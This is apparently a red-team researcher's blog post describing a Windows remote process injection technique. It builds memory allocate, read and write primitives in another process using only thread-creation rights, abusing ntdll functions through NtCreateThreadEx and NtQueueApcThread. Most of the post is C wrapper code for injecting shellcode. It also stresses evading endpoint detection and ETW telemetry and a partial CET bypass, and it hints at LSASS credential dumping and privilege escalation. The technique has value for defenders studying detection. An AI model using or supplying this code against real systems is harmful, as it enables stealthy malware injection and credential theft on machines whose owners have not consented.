Primitive Injection - Breaking the Status Quo

trickster0.github.io/posts/Primitive-Injection

June 5, 2025

It has been a while, this is my research on trying to change the IOCs of a common remote process injection flow and the end result.
I presented this in RedTreat in 2024 and I thought it was about time I publish it.
As you most likely know, in order to perform remote process injection a few things need to happen:
1) Open the remote process with PROCESS_ALL_ACCESS or PROCESS_VM_OPERATION, PROCESS_VM_WRITE, PROCESS_CREATE_THREAD to obtain handle to the process
2) Remote allocate enough memory to fit your shellcode
3) Make that memory executable
4) Create a new thread that will execute that shellcode memory address

Obviously there are multiple other variations but they all are quite similar. I thought I would give a challenge to myself and achieve the above or, like I mentioned, other variations by only opening the remote process with PROCESS_CREATE_THREAD and PROCESS_QUERY_LIMITED_INFORMATION. If you have not understood yet where this is going, basically I wanted to create primitives or remotely allocating, reading and writing memory remotely by just creating threads.

There has been some previous research on this by Austin Hudson (He posted something on ~~twitter~~ X) and x86matthew but I wanted something better.
I am sure most of you would think, let's try to find a rop gadget and do this; so did I! However, it was not that easy since in order to avoid PROCESS_VM_OPERATION to patch CFG on processes was included in my challenge.
This means that I would have to find a rop gadget that would not be impacted by CFG and that it will be good for the job. Also I wanted to limit my rop gadgets to ntdll for personal reasons.
Remote allocation is easy enough if you do not care about its permissions in memory as long as it is writable; just open the remote process with PROCESS_QUERY_LIMITED_INFORMATION and PROCESS_CREATE_THREAD, and create a new thread by passing the malloc function with the size you want the allocation to have.

Malloc Definition:

```
void *malloc(
   size_t size
);
```

New Thread:

```
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProc, malloc, (PVOID)sizeofShellcode, FALSE, N
```

NtCreateThreadEx or CreateRemoteThread can take a function to call as an argument and then pass it one argument to that function, which should suffice for this.

If you are not aware, malloc function internally will automatically pick a place in memory according to the process' heap base address. Until this point everything is moving in the right direction, but there is a problem that needs to be tackled. How do I find the address that the allocation happened?
Thankfully there is an API called GetExitCodeThread that allows to receive the EAX register, which means the return value from the thread, which in this case provides the memory allocation. HOWEVER, it only returns EAX, 4 bytes, but this is a technique for x64 bit Windows that requires to have 6 bytes instead (since heap alloc is in user mode).

GetExitCodeThread Definition:

```
BOOL GetExitCodeThread(
  HANDLE  hThread,
  LPDWORD lpExitCode
);
```

This was a blocking point on finding the remote memory address, so I tried to tackle the Read primitive in case it could help me approach this difficulty and somehow finding the address. Like I mentioned earlier, avoiding CFG was tough, so it took me a lot of time to go through potential avenues for finding rop gadgets to achieve a read process memory operation but after a while I found something better than a rop gadget; I found an existing function called RtlQueryDepthSList.

RtlQueryDepthSList Definition (This is my definition, not MSDN's):

```
DWORD RtlQueryDepthSList(
  PVOID addressToRead
);
```

RtlQueryDepthSList Assembly:

```
mov eax, word ptr [rcx]
ret;
```

RtlQueryDepthSList takes one argument of the memory you want to read, but only read 2 bytes and then returns 4 back. Since RtlQueryDepthSList can get us 2 bytes at a time, it is not the most optimal situation, ideally we would need something that would read a DWORD to

create less threads and read remote memory. By looping and iterating 2 bytes at the memory we want to read though we can successfully achieve what we need.

Wrapper created for read primitive:

```
unsigned char* ReadRemoteMemory(HANDLE hProc, LPVOID addrOf, int sizeofVal)
{
        unsigned char* readBytes = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 8)
        DWORD dwDataLength = sizeofVal;
        for (DWORD i = 0; i < dwDataLength; i = i + 2)
        {
                HANDLE hThread = NULL;
                NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, RtlQueryDepthSList, (ULONG
                DWORD ExitCode = 0;
                NtWaitForSingleObject(hThread, FALSE, NULL);
                GetExitCodeThread(hThread, &ExitCode);
                if (dwDataLength - i == 1)
                {
                        CustomCopy((char*)readBytes + i, (const void*)&ExitCode, 1);
                }
                else
                {
                        CustomCopy((char*)readBytes + i, (const void*)&ExitCode, 2);
                }
        }
        return readBytes;
}
```

The wrapper performs now pretty similarly to ReadProcessMemory, it takes the handle of the process, the memory we want to read, how many bytes we want to read and then it returns back the allocated memory. Next step was stitching the Read primitive with the Allocation primitive to obtain the remotely allocated memory address.

Turns out there is a workaround and this is the reason PROCESS_QUERY_LIMITED_INFORMATION is required (or does it?). By calling NtQueryInformationProcess and asking for ProcessBasicInformation, it is possible to receive the remote process' PEB address, which also contains the process base heap address. Since malloc allocates in process' base heap, my allocation should be based on that base heap, hence since I could obtain the last 4 bytes of the allocation address, I could perform an AND mask operation between them.
Steps for obtaining the remotely allocated address:
1) Call NtQueryInformationProcess with ProcessBasicInformation to obtain the PEB address
2) Calling the Read primitive on the previously obtained PEB address + 0x30 offset, and reading 8 bytes to get the heap base address off the GetExitCodeThread
3) Perform the AND mask operation to calculate the actual allocation address:

```
DWORD64 heapAllocation = (0xFFFFFFFF00000000 & (INT64)HeapAddr) + ExitCode;
```

Wrapper created for this primitive for remote allocation:

```
LPVOID RemoteAllocation(HANDLE hProc, LPVOID HeapAddr, int sizeofVal)
{
        HANDLE hThread = NULL;
        NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProc, malloc, (PVOID)sizeofVal, FALSE,
        NtWaitForSingleObject(hThread, FALSE, NULL);
        DWORD ExitCode = 0;
        GetExitCodeThread(hThread, &ExitCode);
        DWORD64 heapAllocation = (0xFFFFFFFF00000000 & (INT64)HeapAddr) + ExitCode;
        return (LPVOID)heapAllocation;
}
```

Right now, it is possible to read and allocate remotely; what is left is writing, which unfortunately by the approach so far and using NtCreateThreadEx will not work since it can only allow us to pass one argument to whatever it is we are calling. However in a WriteProcessMemory situation, it would require to pass a memory to write the bytes and the bytes to write, so at least 2 arguments. NtQueueApcThread allows for up to 3 arguments, so I had to find a rop gadget to achieve that in the most optimal way.
Both of the public approaches used RtlFillMemory which fits with NtQueueApcThread but it would literally create 1 APC request per byte that you want to write, hence an average shellcode of 270kb would create 270.000 APCs. Crazy amount, which I actually tried against MDE and got an alert for StackBombing.

After looking for so many hours into ntdll assembly instructions for something that would fit the purpose of Write primitive, I finally found, guess what, ANOTHER FUNCTION, RtlInitializeBitMapEx.

RtlInitializeBitMapEx Definition (Again, this is my definition, not MSDN's):

```
BOOL RtlInitializeBitMapEx(
  PVOID  addressMemoryToWrite,
  PVOID  8bytesToWriteAfter8Bytes,
  PVOID  8bytesToWrite
);
```

RtlInitializeBitMapEx Assembly:

```
mov [rcx], r8
mov [rcx+8], rdx
ret;
```

Realistically speaking this is a godsend function/rop gadget (fop gadget?), since it allows not only to write 8 bytes at a time but 16! This is 16 times better than RtlFillMemory, since this function takes as a first argument the memory where we want to allocate the bytes to; as a second argument, it takes the 8 bytes after the first 8 bytes we want to write into the allocated

address plus 8 bytes; as a third argument it takes the first 8 bytes we want to write into the allocated address, so performing a NtQueueApcThread loop and iterating by 16 bytes at a time allows for writing in the remote process successfully. However, in order to optimize the process in case the bytes are more or less than 8 or 16 or divisible by 8, I had to use RtlFillBuffer as well.

Wrapper created for this primitive for remote allocation:

```
void WriteRemoteMemory(HANDLE hProc, LPVOID heapAllocation, int sizeofVal, unsigned char* buffer, H
{
        LPVOID RtlFillMemory = GetProcAddress(module, "RtlFillMemory");
        LPVOID RtlExitUserThread = GetProcAddress(module, "RtlExitUserThread");
        LPVOID RtlInitializeBitMapEx = GetProcAddress(module, "RtlInitializeBitMapEx");

        HANDLE hThread2 = NULL;
        NtCreateThreadEx(&hThread2, THREAD_ALL_ACCESS, NULL, hProc, RtlExitUserThread, (PVOID)0x000
        int alignmentCheck = sizeofVal % 16;
        int offsetMax = sizeofVal - alignmentCheck;
        int firCounter = 0;
        int eightCounter = 0;
        int secCounter = 0;
        int mod = 0;

        if (sizeofVal >= 16) {
                for (firCounter = 0; firCounter < offsetMax -1; firCounter = firCounter + 16) {
                        char* heapWriter = (char*)heapAllocation + firCounter;
                        NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlInitializeBitMapEx, (PVOID)
                }
        }

        if (alignmentCheck >= 8) {
                for (eightCounter = firCounter; (eightCounter + 8) < (firCounter + alignmentCheck -
                        char* heapWriter = (char*)heapAllocation + eightCounter;
                        NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlInitializeBitMapEx, (PVOID)
                }
                alignmentCheck -= 8;
        }

        if (alignmentCheck != 0 && alignmentCheck < 8) {

                if ((firCounter != 0 && eightCounter != 0) || (firCounter != 0 && eightCounter != 0
                        secCounter = eightCounter;
                        mod = eightCounter;
                }
                else if (firCounter != 0 && eightCounter == 0){
                        secCounter = firCounter;
                        mod = firCounter;
                }

                for (; secCounter < (mod + alignmentCheck); secCounter++) {
                        char* heapWriter = (char*)heapAllocation + secCounter;
                        NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlFillMemory, (PVOID)heapWrit
                }
```

```
        }

        NtResumeThread(hThread2, NULL);
        NtWaitForSingleObject(hThread2, FALSE, NULL);
}
```

As a fun fact I might as well mention that the 270.000 APCs turned to 16.875 APCs which is an insane progress and no stackbombing alert anymore.
The Write primitive wrapper takes as a first argument the handle of the remote process; as a second argument the remotely allocated memory; as a third argument how many bytes we want to write; as a fourth argument the buffer that contains the bytes we want to write in the remote process; as a fifth argument the ntdll's base address.

Achievements

Right now it is possible to read, write and allocate in a remote process with just PROCESS_CREATE_THREAD, PROCESS_QUERY_LIMITED_INFORMATION without requiring to patch CFG. It is really easy to perform an injection which I am not gonna go through here but in the proof of concept code on my github link, you will find a BOF example. I will be cheating there a little bit by using PROCESS_VM_OPERATION to patch CFG in the remote process in order to call NtContinue, since Foliage's method of calling APIs in the remote process is very convenient and also write primitive solves the problem with passing more than four arguments with the CONTEXTS, like you will notice in my POC. FYI I leave this for the reader; it is possible to perform a very OPSEC injection with limited IOCs with just PROCESS_CREATE_THREAD permissions.

Aside from the above, it is worth mentioning that we completely remove the telemetry of ETWTI for ReadProcessMemory and WriteProcessMemory. Also we create threads and call APCs with addresses that are fully backed in memory to files on disk.

Caveats

The only caveat I want to mention is that the read primitive, even though it works great for reading small size buffers, trying to abuse this to read many chunks will make the system unusable and almost frozen, since I tried to perform LSASS dumping with it and the amount of threads being created is just insane. It was working but after a bit it just froze, so realistically you cannot use it for LSASS dumping BUT you might be able to find a faster method to do it (wink wink).

Bonus

I hope you took note of the fact that I do not call ROP gadgets, they are literally functions, which has some positive side effects. Aside from the fact that these primitives are also useful in exploit developers, they also offer a partial CET bypass. Even though I am not an expert on the subject of CET, It offers a couple of protection mechanisms; Shadow stack and Indirect Branch Tracking (IBT).
IBT is a code integrity control flow mechanism that can easily kill rop gadgets but since in my case the primitives call literal function, it is an automatic bypass.

Another bonus which is an extreme case but could happen is, if you would ever find an elevated process that allows for a low/medium context process to open a handle with just PROCESS_CREATE_THREAD, you can perform a privilege escalation.

Final Notes

Obviously these wrappers can be used for the local process as well but it kind of loses the point, since it is easier to write a custom memcpy to read/write bytes. Lastly, this is more about the primitives and the wrappers than the actual injection that is the result of them.